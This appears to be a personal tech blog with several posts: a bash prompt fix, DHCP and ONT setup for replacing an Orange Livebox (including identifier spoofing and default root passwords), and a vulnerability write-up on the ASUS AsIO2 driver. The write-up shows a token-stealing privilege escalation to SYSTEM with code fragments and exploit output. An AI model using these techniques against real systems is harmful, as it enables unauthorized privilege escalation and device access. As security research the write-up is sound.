05 May 2023
The problem
Since years I’ve raged when my cursor in my bash prompt was incoherent: the
blinking rectangle was in one place but deleting chars would delete the wrong
ones.
I finally took the time to try to understand what was wrong. Long story short:
if the previous command did no end with a newline.
A typical case is when using curl
, which by default, outputs the page without
adding a newline at the end. But a simple way to reproduce is to use echo
:
trou@valhalla:~$ echo -n test
testtrou@valhalla:~$
But the problem is that it’s not bash’s role to check the output of the last
command. Some “modern” shells such as zsh or fish actually do that. But I wanted
to find a solution which works everywhere, and bash is the common denominator for
most Linux and Unix systems.
How to fix?
I first found a
solution
which involved writing spaces until the line wraps, but it broke when using a
python virtualenv.
The answer on this
StackExchange
question is actually quite clever: is reads the current cursor position using terminal escape codes and only
outputs a newline if we are not in the first column.
The final result for me is:
PS1='${debian_chroot:+($debian_chroot)}\[\e[38;5;111m\]\u@\[\e[92m\]\h\[\e[39m\]$text:\[\e[38;5;86m\]\w\[\e[00m\]\$ '
# https://github.com/dylanaraps/pure-bash-bible#get-the-current-cursor-position
new_line_ps1() {
local _ y x _
local RESET="\001\e[0m\002"
IFS='[;' read -p $'\e[6n' -d R -rs _ y x _
if [[ "$x" != 1 ]]; then
printf "\n${RESET}"
fi
}
Midnight Commander
One last thing to fix is to avoid mc weird
behaviour (slooooow start) when running with this PS1
, by actually disabling
the functionnality when running under mc:
# Don't add newline in mc
if [ -z $MC_SID ]; then
PS1="\$(new_line_ps1)$PS1"
else
PS1="[mc]$PS1"
fi
Fish also had a problem,
which they workedaround with the exact same if.
05 Feb 2023
Context
I replaced my
Livebox with a GPON, but recently, Orange
reinforced
the checks they do on DHCP requests options.
The most important ones are:
- authentication is actually verified, instead of relying on just identification as before
- DHCP requests must have a CoS value of 6 in the VLAN header
Debian 11 Linux setup
The most “challenging” part is having DHCP packets with a CoS value of 6. Various options to achieve this are:
- using the
CLASSIFY
target of iptables
, which does not work as dhclient
uses raw sockets
- using
tc
’s skbedit
target to change packet contents, which is a bit ugly
- using
cgroups
v1 net_prio
target, which is problematic in the long run, as cgroups v1 are deprecated and not really easy to setup “cleanly” on a modern dirstro using systemd
- using
LD_PRELOAD
with dhclient
to set the socket priority to 6 and map to vlan cos using egress-qos-map
After fiddling with different options, I finally settled for the last one, using Xavier Guerrin’s code.
interfaces
:
auto internet
iface internet inet manual
pre-up ip link add link enp3s0 name internet type vlan id 832 egress-qos-map 0:0 6:6
up SO_PRIORITY_DEBUG=1 SO_PRIORITY_VALUE=6 LD_PRELOAD=/root/so_priority.so/so_priority.so dhclient -v in
ternet
post-down ip link del internet
Updated dhclient.conf
:
option rfc3118-authentication code 90 = string;
option orange code 125 = string;
interface "internet" {
timeout 60;
retry 1;
select-timeout 0;
send dhcp-client-identifier 01:00:0d:b9:45:7d:96;
send vendor-class-identifier "sagem";
send user-class "+FSVDSL_livebox.Internet.softathome.Livebox4";
# generated with https://jsfiddle.net/kgersen/3mnsc6wy/
2f:61:64:61:79:65:65:70;
send rfc3118-authentication 00:00:00:00:00:00:00:00:00:00:00:1a:09:00:00:05:58:01:03:41:01:0D:66:74:69:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx
request subnet-mask, routers,
domain-name-servers, domain-name,domain-search,
broadcast-address,
dhcp-lease-time, dhcp-renewal-time, dhcp-rebinding-time,
rfc3118-authentication, orange;
}
References
04 Oct 2021
Context
I bought
a GPON LXT-010G-D to replace my Livebox 5, which comes with an integrated ONT, so you cannot
use an MC220L easily. Plus, the Sercomm FGS202 that is provided by Orange does not allow you
to spoof the necessary information to register on the GPON tree (if I understood things correctly).
LXT basic setup
The LXT starts with a default IP: 192.168.1.1
. To change it, login on the
HTTP interface with adsl
/ realtek
and change the config on the LAN page.
Once this is done you can restart it and connect using Telnet:
Trying 10.0.0.199...
Connected to 10.0.0.199.
Escape character is '^]'.
LXT-010G-D login: adsl
Password:
#
The ONT information is accessible from the Livebox web interface as can be seen in the screenshot:
I think I modified (at least) the following parameters (see the references section below for the source):
PON_VENDOR_ID
GPON_SN
HW_HWVER
GPON_ONU_MODEL
OMCI_SW_VER1
OMCI_SW_VER2
Using the following commands:
# flash set PON_VENDOR_ID SMBS
PON_VENDOR_ID=SMBS
DHCP client options
Everything comes from Vincent Bernat’s page, thanks a lot!
/etc/network/interfaces
:
auto enp3s0
iface enp3s0 inet manual
auto internet
iface internet inet dhcp
pre-up ip link add link enp3s0 name internet type vlan id 832 egress-qos-map 0:0 6:6
pre-up /etc/network/tc_for_livebox
post-down ip link del internet
tc_for_livebox
:
#!/bin/sh
# We need a qdisc to set filters
tc qdisc replace dev internet root handle 1: prio
tc filter del dev internet
# DHCP (raw sockets, do not specify "protocol ip")
tc filter add dev internet parent 1: prio 1 u32 \
match ip protocol 17 ff \
match ip dport 67 ffff \
action skbedit priority 0:6
# ARP
tc filter add dev internet parent 1: prio 2 protocol 0x806 u32 \
match u32 0 0 \
action skbedit priority 0:6
# IGMP
tc filter add dev internet parent 1: prio 3 protocol ip u32 \
match ip protocol 2 ff \
action skbedit priority 0:6
# ICMP
tc filter add dev internet parent 1: prio 4 protocol ip u32 \
match ip protocol 1 ff \
action skbedit priority 0:6
dhclient.conf:
option rfc3118-authentication code 90 = string;
interface "internet" {
timeout 60;
retry 1;
select-timeout 0;
send vendor-class-identifier "sagem";
send user-class "+FSVDSL_livebox.Internet.softathome.Livebox4";
# fti/xxxxxx identifier can be converted to hexadecimal with:
# echo -n 123456 | od -A n -t x1
send rfc3118-authentication 00:00:00:00:00:00:00:00:00:00:00:1a:09:00:00:05:58:01:03:41:01:0d:66:74:69:2f:xx:xx:xx:xx:xx:xx:xx;
request subnet-mask, routers,
broadcast-address,
dhcp-lease-time, dhcp-renewal-time, dhcp-rebinding-time,
rfc3118-authentication;
}
Results
Life without Livebox:
- Less electricity power consumption (a few watts)
- Latency is more stable
- Say goodbye to IRC disconnects (conntrack issues ?)
Ping statistics, before and after:
rtt min/avg/max/mdev = 1.835/5.440/268.624/12.040 ms
rtt min/avg/max/mdev = 1.850/2.355/2.636/0.104 ms
References
15 Sep 2021
I
bought
a GPON LXT-010G-D to replace my Livebox 5.
Basic survival information:
- default IP: 192.168.1.1
- default user/pass for web:
user
/ user
(low priv)
adsl
/ realtek
- telnet, on port 23.
user
/ user
(low priv)
adsl
/ realtek
: root
leox
/ leolabs_7
: root
Useful commands:
diag
: Cisco like diagnostic and config shell
pon get transceiver tx-power
04 Apr 2020
This post is a follow up to the vuln research in ASUS AsIO2 driver, which provides, among others,
Everyone
the following primitives:
- arbitrary MSR read and write
- R/W access to arbitrary physical memory
- a stack based buffer overflow
My initial tests on physical memory seemed to indicate it was read-only, but
they were a result of me inverting the results of AllocatePhysMemory
…
However, it’s interesting to see how one can check the mappings between virtual
and physical.
The following code will alloc physical memory using AsIO2, and map a new user
accessible page and dump the content (AllocatePhysMemory
is broken in x64, as we’ll see):
uint32_t phys_addr;
uint32_t virt_addr;
phys_addr = AllocatePhysMemory(0x1000, &virt_addr);
printf("AllocatePhysMemory: (virtual: %08x / physical: %08x)\n", virt_addr, phys_addr);
// Map the newly allocated physical mem
value = ASIO_MapMem(phys_addr, 0x1000);
unsigned char *ptr = (unsigned char*)value;
printf("Ptr: %p\n", ptr);
memcpy(ptr, "etst", 4);
hexdump("new mem", (void *)value, 0x10);
getchar(); // Used to flush the display and wait to trigger the breakpoint
DebugBreak();
Let’s put a breakpoint right after the call to MmAllocateContiguousMemory
and run the code:
0: kd> bp AsIO2+0x1a80 "r rax; g"
0: kd> g
...
rax=ffffbb80e416c000
Break instruction exception - code 80000003 (first chance)
KERNELBASE!wil::details::DebugBreak+0x2:
0033:00007ffe`90f40bb2 cc int 3
Now we can check which physical page is mapped to 0xffffbb80e416c000
:
0: kd> !pte ffffbb80e416c000
VA ffffbb80e416c000
PXE at FFFFF77BBDDEEBB8 PPE at FFFFF77BBDD77018 PDE at FFFFF77BAEE03900 PTE at FFFFF75DC0720B60
contains 0A00000003C30863 contains 0A00000003C31863 contains 0A000000502AD863 contains 0A000000BF348863
pfn 3c30 ---DA--KWEV pfn 3c31 ---DA--KWEV pfn 502ad ---DA--KWEV pfn bf348 ---DA--KWEV
As the PTE is 0x0A000000BF348863
, we know the physical address is 0xBF348000
The shell displays:
AllocatePhysMemory: (virtual: e416c000 / physical: bf348000)
Ptr: 0000000000188000
new mem
0000 10 59 de 73 dc ee ff ff 50 4c e6 73 dc ee ff ff .Y.s....PL.s....
Note that the virtual address returned is:
- a kernel one, unusable for userland
- truncated as the driver only returns 32 bits.
So let’s check 0x188000
is mapped to the same physical address:
0: kd> !pte 188000
VA 0000000000188000
PXE at FFFFF77BBDDEE000 PPE at FFFFF77BBDC00000 PDE at FFFFF77B80000000 PTE at FFFFF70000000C40
contains 8A00000057BBC867 contains 0A00000057BBD867 contains 0A000000447C2867 contains 8A000000BF348867
pfn 57bbc ---DA--UW-V pfn 57bbd ---DA--UWEV pfn 447c2 ---DA--UWEV pfn bf348 ---DA--UW-V
As you can see, the PTE contains the same physical address, however, the letter U
instead of K
shows the
virtual address is accessible to userland. And the W
that is it writable. Neat !
Exploit goals and strategy
So my goal here is to get our userland process to have SYSTEM
privileges.
As we have access to physical memory, we could also leak sensitive data, for
example by target lsass
to recover credentials.
While researching various exploit strategies, I found that many drivers
exhibit such vulnerabilities and that research is rather abundant. The
following works were very useful:
Only having access to physical memory makes exploitation a bit more interesting:
- we don’t have access to
MmGetPhysicalAddress
to do VA to PA translation
- so we have no direct way to find interesting structures or secrets
Exploit: token stealing
Token stealing is a well known technique used for LPE, where one rewrites the
token pointer in the attacker’s process to point to a privileged process’ token.
Morten Schenk has a good blog post explaining the technique.
Here, however, we have the following constraint:
- we are in userland, so we do not know where our
EPROCESS
structure is in memory
- we don’t know where our
cr3
points, either
- thanks to KASLR, there are no interesting structure at fixed physical addresses (at least that’s what I believe, with my limited knowledge of Windows internals)
I initially thought that I could use
volatility’s techniques
to find the interesting structures. But when I found ReWolf’s
exploit I realized that it was
just perfect: one just needs to implement a new class which will provide the
exploit access to the target’s physical memory, which is trivial in our case.
Adding AsIO2 support to ReWolf’s exploit
Adding the provider
The WinIO
provider in ReWolf’s exploit is basically identical to ours, except
for the DeviceIoControl
code. So no need to detail it, I just added a log to
tell the user if opening the device failed (in case the ASUSCERT
resource is
invalid for example).
Compiling under MinGW
Of course I was not going to use Visual Studio to compile the exploit, but as
it’s written in (over-engineered, in ReWolf’s own words) C++, I feared
compilation would be complex.
Well, not really, I had to patch a few things such as:
- broken includes due to case
- add an explicit
extern
for GetPhysicallyInstalledSystemMemory
- patched
bstr_t
to SysAllocString
(Update: actually, I just needed to include comutil.h
)
- detecting the Windows 10 version to handle the new offset for
Token
in version 1909
Update: A friend pointed me to NtDiff which is very usefull to spot offset changes.
And of course I had to add the ASUSCERT
resource entry, as described in the
first post.
After doing this, running the exploit is trivial:
C:\Users\toto\Desktop>exploit asio
Win10 1909+ detected, using 0x360 for Token offset
Whoami: desktop-fa65285\toto
Found wininit.exe PID: 00000210
Looking for wininit.exe EPROCESS...
[+] Asusgio2 device opened
EPROCESS: wininit.exe, token: ffff9686b43270a8, PID: 0000000000000210
Stealing token...
Stolen token: ffff9686b43270a8
Looking for exploit.exe EPROCESS...
EPROCESS: exploit.exe, token: ffff9686b91df069, PID: 00000000000011d0
Reusing token...
Write at : 00000000001663e0
Whoami: nt authority\system
Exploit code
Grab it on GitHub.
Going further
If you want more shitty driver exploits, check hfiref0x’s
gist and add support for them in the tool
;)